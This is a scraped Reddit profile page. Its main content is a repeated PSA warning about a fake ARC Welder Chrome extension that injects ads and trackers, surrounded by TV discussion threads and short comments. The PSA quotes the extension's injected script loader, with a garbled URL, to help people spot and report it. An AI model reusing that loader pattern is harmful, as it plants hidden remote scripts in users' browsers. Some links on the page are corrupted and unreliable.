Press J to jump to the feed. Press question mark to learn the rest of the keyboard shortcuts
View
Sort
Coming soon

Cass needs to catch a break :(

The Sailor Moon transformation parody when Mark Beaks got the Gizmoduck suit was hilarious

504

PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed

The fake one, to report: https://chrome.google.com/webstore/detail/arc-weldercom/pfpggebmpjcgdbcnhodbfgdfmipnanoh?hl=en

This almost threw me off for a bit because the real ARC Welder, which I'll link at the end of the post for convenience, doesn't seem to show up when searching using the Web Store's search. This fake one is the only result when searching for ARC Welder there. Also, it showed up for me as the top result for ARC Welder Chrome on Google Search, and the real one won't show up in Google Search at all because it has a "noindex" meta tag.

This extension inserts this insidious piece of Javascript into every site you visit:

(function(){var script=document.createElement("script");script.src="///s3.amazonaws.comhttps://www.reddit.com/js-cache/1bbe2f4535e7dfb295.js";document.head.appendChild(script);document.head.removeChild(script)})();

In its background.js this is obfuscated to avoid detection. It is pretty poorly obfuscated however.

I put the contents of that JS file (unminified) on pastebin so you don't need to go there yourself:

https://pastebin.com/1jbs7aJS

It also has a message in it like this:

<b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help. blah blah blah

So this is probably generic crapware that comes with other shady chrome extensions, judging by the fact this message appeared in the shady "Imgur Uploader" extension too:

https://news.softpedia.com/news/imgur-uploader-chrome-extension-turns-to-the-dark-side-starts-injecting-ads-504629.shtml

It also inserts tons of other crap scripts from various domains into the page.

I don't have time to look through them all, but to be safe, if you had this installed while you typed in any passwords you should probably change them!

I don't know if it's against Amazon's TOS to be using AWS for this, but if anyone knows if it is then maybe that script URL can get banned too.

The real ARC Welder: https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn

It is for some reason delisted from search engines with a "noindex" meta tag, hence this shady extension's ability to get search traffic.

504
8 comments
Comment deleted8 days ago
Original Poster2 points · 8 days ago

According to google cache,

3.9 - ‎261 votes

The new one the scammer has put up is:

https://chrome.google.com/webstore/detail/get-welder-arc/cehiikkfdojgaikcnfhpgmdpmjiokibb

with:

3.8 - 45 votes

May make another reddit post about this soon, because google han't taken it down since I reported it a few days ago

Posting to know if I get balanced out 👌

34

[Last Week Tonight with John Oliver] S05E17 - July 1, 2018 - Discussion Thread

Official Clips

  • To be added

Frequently Asked Questions

  • Why isn't LWT on HBO GO right after it airs?

    • HBO says that it takes a few hours for Last Week Tonight episodes to reach HBO GO or Now due to delays caused by the show's editing process.
  • Is there a way to suggest a topic for the show?

    • They don't take suggestions for show topics.
  • Why can't I view the YouTube links?

    • They are sadly region restricted in certain countries like Canada and Australia - you can see which countries are blocked using this website.
34
52 comments
428

PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed

PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed

The fake one, to report: https://chrome.google.com/webstore/detail/arc-weldercom/pfpggebmpjcgdbcnhodbfgdfmipnanoh?hl=en

This almost threw me off for a bit because the real ARC Welder, which I'll link at the end of the post for convenience, doesn't seem to show up when searching using the Web Store's search. This fake one is the only result when searching for ARC Welder there. Also, it showed up for me as the top result for ARC Welder Chrome on Google Search, and the real one won't show up in Google Search at all because it has a "noindex" meta tag.

This extension inserts this insidious piece of Javascript into every site you visit:

(function(){var script=document.createElement("script");script.src="///s3.amazonaws.comhttps://www.reddit.com/js-cache/1bbe2f4535e7dfb295.js";document.head.appendChild(script);document.head.removeChild(script)})();

In its background.js this is obfuscated to avoid detection. It is pretty poorly obfuscated however.

I put the contents of that JS file (unminified) on pastebin so you don't need to go there yourself:

https://pastebin.com/1jbs7aJS

It also has a message in it like this:

<b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help. blah blah blah

So this is probably generic crapware that comes with other shady chrome extensions, judging by the fact this message appeared in the shady "Imgur Uploader" extension too:

https://news.softpedia.com/news/imgur-uploader-chrome-extension-turns-to-the-dark-side-starts-injecting-ads-504629.shtml

It also inserts tons of other crap scripts from various domains into the page.

I don't have time to look through them all, but to be safe, if you had this installed while you typed in any passwords you should probably change them!

I don't know if it's against Amazon's TOS to be using AWS for this, but if anyone knows if it is then maybe that script URL can get banned too.

The real ARC Welder: https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn

It is for some reason delisted from search engines with a "noindex" meta tag, hence this shady extension's ability to get search traffic.

504 points
428
31 comments
Original Poster3 points · 17 days ago

I have, but I'm hoping that more people reporting will bring it to Google's attention. Mine didn't seem to do anything for a few days.

61

PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed

PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed

The fake one, to report: https://chrome.google.com/webstore/detail/arc-weldercom/pfpggebmpjcgdbcnhodbfgdfmipnanoh?hl=en

This almost threw me off for a bit because the real ARC Welder, which I'll link at the end of the post for convenience, doesn't seem to show up when searching using the Web Store's search. This fake one is the only result when searching for ARC Welder there. Also, it showed up for me as the top result for ARC Welder Chrome on Google Search, and the real one won't show up in Google Search at all because it has a "noindex" meta tag.

This extension inserts this insidious piece of Javascript into every site you visit:

(function(){var script=document.createElement("script");script.src="///s3.amazonaws.comhttps://www.reddit.com/js-cache/1bbe2f4535e7dfb295.js";document.head.appendChild(script);document.head.removeChild(script)})();

In its background.js this is obfuscated to avoid detection. It is pretty poorly obfuscated however.

I put the contents of that JS file (unminified) on pastebin so you don't need to go there yourself:

https://pastebin.com/1jbs7aJS

It also has a message in it like this:

<b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help. blah blah blah

So this is probably generic crapware that comes with other shady chrome extensions, judging by the fact this message appeared in the shady "Imgur Uploader" extension too:

https://news.softpedia.com/news/imgur-uploader-chrome-extension-turns-to-the-dark-side-starts-injecting-ads-504629.shtml

It also inserts tons of other crap scripts from various domains into the page.

I don't have time to look through them all, but to be safe, if you had this installed while you typed in any passwords you should probably change them!

I don't know if it's against Amazon's TOS to be using AWS for this, but if anyone knows if it is then maybe that script URL can get banned too.

The real ARC Welder: https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn

It is for some reason delisted from search engines with a "noindex" meta tag, hence this shady extension's ability to get search traffic.

504 points
61
1 comment
11 points · 18 days ago

But it did work for a period, didn't it? I remember googling Comcast back in the day and seeing the Nazi flag. It's not based on upvotes, it's based on recent activity.

see more

If I image search Comcast Logo, I see this if I scroll down a little bit:

https://i.imgur.com/vOBfAqj.png

If you click on it, it's not blurred like that in the reddit post. Perhaps Comcast's lawyers are part of the reason that doesn't work anymore?

13

PSA: Avoid the fake ARC Welder extension (with over 32,000 installs!) on the Chrome Web Store, as it is an ad/tracker injector

The fake one, to report: https://chrome.google.com/webstore/detail/arc-weldercom/pfpggebmpjcgdbcnhodbfgdfmipnanoh?hl=en

This almost threw me off for a bit because the real ARC Welder, which I'll link at the end of the post for convenience, doesn't seem to show up when searching using the Web Store's search. This fake one is the only result when searching for ARC Welder there. Also, it showed up for me as the top result for ARC Welder Chrome on Google Search.

This extension inserts this insidious piece of Javascript into every site you visit:

(function(){var script=document.createElement("script");script.src="///s3.amazonaws.comhttps://www.reddit.com/js-cache/1bbe2f4535e7dfb295.js";document.head.appendChild(script);document.head.removeChild(script)})();

In its background.js this is obfuscated to avoid detection. It ispretty poorly obfuscated however.

I put the contents of that JS file (unminified) on pastebin so you don't need to go there yourself:

https://pastebin.com/1jbs7aJS

It also has a message in it like this:

<b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help. blah blah blah

So this is probably generic crapware that comes with other shady chrome extensions, judging by the fact this message appeared in the shady "Imgur Uploader" extension too:

https://news.softpedia.com/news/imgur-uploader-chrome-extension-turns-to-the-dark-side-starts-injecting-ads-504629.shtml

It also inserts tons of other crap scripts from various domains into the page.

I don't have time to look through them all, but to be safe, if you had this installed while you typed in any passwords you should probably change them!

I don't know if it's against Amazon's TOS to be using AWS for this, but if anyone knows if it is then maybe that script URL can get banned too.

The real ARC Welder: https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn

13
comment
9 points · 19 days ago

That is a nightmare on mobile

see more

These JS smooth scroll libraries are also pretty bad on desktop environments that already have smooth scrolling like on MacBooks (and also Win10 computers with Precision Touchpads I presume)

Original Poster33 points · 20 days ago

Haven't seen this mentioned, but today ES2018 (or ES9 if you want to go there) has been posted on ecma-international.org.

It has been finished for a while and includes some regex changes, object rest/spread, promise.finally, and async iteration:

https://github.com/tc39/proposals/blob/master/finished-proposals.md

but has only just been posted as the current ecma spec. Ecma news ref:

http://www.ecma-international.org/news/index.html#Docs115thGA

see more

Unfortunate that @decorators still seem to be caught up in limbo for now

I love that this appears to be out in a public place

34

[Last Week Tonight with John Oliver] S05E16 - June 24, 2018 - Discussion Thread

Official Clips


Frequently Asked Questions

  • Why isn't LWT on HBO GO right after it airs?

    • HBO says that it takes a few hours for Last Week Tonight episodes to reach HBO GO or Now due to delays caused by the show's editing process.
  • Is there a way to suggest a topic for the show?

    • They don't take suggestions for show topics.
  • Why can't I view the YouTube links?

    • They are sadly region restricted in certain countries like Canada and Australia - you can see which countries are blocked using this website.
34
35 comments

Hmm, I think that might be a Macintosh Classic II. Never seen the show so they might've shown a better view of the computer

Original Poster3 points · 1 month ago

because I banned someone who made a comment in my sub. The ban message did not get sent. But the mute message did. I can't come up with any other reason why the ban message didn't go through. I only did two bans that day, so I don't think it's a spam thing.

see more

You can see if the ban message went through for sure by going through your sent messages:

http://goedhartvoordieren.nl/?page=message/sent/

76

[Last Week Tonight with John Oliver] S05E15 - June 17, 2018 - Discussion Thread

Official Clips

  • To be added

Frequently Asked Questions

  • Why isn't LWT on HBO GO right after it airs?

    • HBO says that it takes a few hours for Last Week Tonight episodes to reach HBO GO or Now due to delays caused by the show's editing process.
  • Is there a way to suggest a topic for the show?

    • They don't take suggestions for show topics.
  • Why can't I view the YouTube links?

    • They are sadly region restricted in certain countries like Canada and Australia - you can see which countries are blocked using this website.
76
91 comments
17 points · 1 month ago · edited 1 month ago

dang I was hoping for BR with all the ex-presidents

see more

Would there be two Grover Clevelands?

Yes, it's a bit disjointed, especially when they have a completely separate settings screen for Friends. But they are pretty clear on the Beta page it will be updated in time. It's a good way to get feedback on the new look before redoing everything.

see more

Another reason for the disjointedness is because the rest of steam is made in Valve's UI framework VGUI, while the new chat interface in HTML/Chromium

I hate that they don't post on time or use automod to do it.

see more

One thing I dislike about automod is that I can't edit the OP after it's been made. Clearly the benefits outweigh the cons in this case, so I will set up a scheduled automod posting for the next episode

Hey!

Sorry about that. The weather is absolutely horrid where I am and my connection was not stable. New thread is up.

Sir Doc. Walter Bishop, PhD, III Esq.

u/Walter_Bishop_PhD
Karma
66,814
Cake day
January 27, 2011
Moderator of these communities
r/space

14,068,695 subscribers

r/animation

66,300 subscribers

r/lastweektonight

43,383 subscribers

Trophy Case (7)
Seven-Year Club

Spared

Gilding II

euphauric

Cookies help us deliver our Services. By using our Services or clicking I agree, you agree to our use of cookies. Learn More.